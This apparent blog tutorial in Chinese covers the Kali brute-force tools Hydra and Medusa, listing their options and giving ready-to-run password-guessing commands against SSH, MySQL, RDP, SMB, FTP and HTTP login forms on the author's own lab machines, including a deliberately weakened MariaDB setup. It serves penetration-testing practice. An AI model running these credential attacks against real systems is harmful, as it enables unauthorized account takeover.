kali-密码爆破工具

hydra

概览

hydra 是一个网络帐号破解工具,支持多种协议。其作者是van Hauser,David Maciejak与其共同维护。
kali默认自带

参数

使用

-R 根据上一次进度继续破解
-S 大写,采用SSL链接
-s 小写,可通过这个参数指定非默认端口
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典(文件)
-q 不显示有关连接错误的消息
-p 指定密码破解
-P 指定密码字典(文件)
-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-c 在所有线程上每次登录尝试的TIME等待时间(强制-t 1)
-o 将找到的登录名/密码对写到文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
-M 指定目标机器,一行一个
-F 只要有一个账号密码爆破成功就停止
-f 全部账号密码爆破成功才停止爆破
-w 设置最大超时的时间,单位秒,默认是30s
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

实例

ssh爆破

/*靶机:Ubuntu 192.168.10.11  允许root远程登陆*/
/*软件提示建议爆破ssh,应该使用-t 4*/
hydra -l root -P pass.txt -vV -o out.txt 192.168.10.11 ssh

mysql爆破

靶机安装MySQL的姊妹版Mariadb

root@linux:~# apt install -y mariadb-server
root@linux:~# mysql_secure_installation

Enter current password for root (enter for none):   #输入当前root用户密码默认为空,直接回车
OK, successfully used password, moving on...

Set root password? [Y/n] y  #设置root密码,yer or no
New password:   #第一次输入密码“!123456q”
Re-enter new password:   #第二次输入密码“!123456q”
Password updated successfully!
Reloading privilege tables..
 ... Success!

Remove anonymous users? [Y/n] y  #移除匿名用户
 ... Success!

Disallow root login remotely? [Y/n] n  #不禁止root用户远程登陆
 ... skipping.

Remove test database and access to it? [Y/n] y  #移除test库
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!


Reload privilege tables now? [Y/n] y  #立即生效
 ... Success!

Cleaning up...

All done!  If you've completed all of the above steps, your MariaDB
installation should now be secure.

Thanks for using MariaDB!

创建test用户允许其远程登陆,方便测试

#先放行3306端口
root@linux:~# iptables -I INPUT -p tcp --dport 3306 -j ACCEPT

root@linux:~# mysql -uroot -p123456q
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 59
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> CREATE USER 'test'@'%' IDENTIFIED BY '123456';  #创建test用户,%表示主机
Query OK, 0 rows affected (0.000 sec)

MariaDB [(none)]> select host,user from mysql.user where user="test"; 
+------+------+
| host | user |
+------+------+
| %    | test |
+------+------+
1 row in set (0.000 sec)

kali直接爆

hydra -l test -P SkullSecurityComp.txt -vV -o mysqltest.txt -F 10.3.82.162 mysql

RDP爆破

windows打开控制面板,开启RDP远程连接

hydra -l admin -P SkullSecurityComp.txt -vV -o rdp.txt -F 192.168.10.7 rdp 

smb爆破

smb的用法与之前类似,就不详细说了

hydra -l Administrator -P pass.txt -vV -o out.txt 192.168.xxx.xxx smb

http爆破

/*GET型*/
hydra -L user.txt -P pass.txt -s 80 -vV -o out.txt 192.168.xxx.xxx(或域名) -F http-get "/admin/index.PHP"
/*POST型*/
hydra -L user.txt -P pass.txt -s 80 -vV -o out.txt 192.168.xxx.xxx(或域名) -F http-post-form "/:userName=^USER^&password=^PASS^:error"
/*使用https*/
hydra -L user.txt -P pass.txt 192.168.xxx.xxx(或域名) https -m /index.php 

这里以皮卡丘的的表单爆破为例子:

hydra -l admin -P SkullSecurityComp.txt -s 80 -vV -o http.txt 192.168.10.7 -F http-post-form "/:userName=^USER^&password=^PASS^:error" 

ftp爆破

/*略*/
hydra -L user.txt -P pass.txt -v –e ns -o out.txt 192.168.47.133 ftp

medusa

参数

-h 目标IP
-H 目标主机文件
-u 用户名
-U 用户名文件
-p 密码
-P 密码文件
-C 组合条目文件
-O 文件日志信息
-e [n/s/ns] N意为空密码,S意为密码与用户名相同
-M 模块执行名称
-m 传递参数到模块
-d 显示所有的模块名称
-n 使用非默认端口
-s 启用SSL
-r 重试间隔时间,默认为3秒
-t 设定线程数量
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-q 显示模块的使用信息
-v 详细级别(0-6)
-w 错误调试级别(0-10)
-V 显示版本
-Z 继续扫描上一次

实例

爆破MySQL

使用方法与hydra大体类似

medusa -h 192.168.10.7 -u test -P SkullSecurityComp.txt -f -O mysql_medusa.txt -M mysql 

爆破ssh

medusa -H ip.txt -U user.txt -P pass.txt -n 9956 -e ns -T 255 -f -O out.txt -r 0 -M ssh

爆破rdp

medusa -H ip.txt -U user.txt -P pass.txt -n 9956 -e ns -T 255 -f -O out.txt -r 0 -M rdp

爆破ftp

medusa -H ip.txt -U user.txt -P pass.txt -n 9956 -e ns -T 255 -f -O out.txt -r 0 -M ftp
posted @ 2021-05-29 14:31  徐野子  阅读(4184)  评论(0编辑  收藏  举报